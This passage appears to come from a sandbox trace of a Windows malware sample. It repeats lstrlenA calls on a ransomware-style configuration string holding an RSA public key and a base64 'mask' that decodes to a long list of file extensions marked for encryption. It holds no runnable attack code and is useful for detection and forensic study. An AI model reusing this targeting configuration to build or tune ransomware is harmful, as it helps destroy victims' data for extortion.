YSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.404] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.404] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.404] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.404] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHA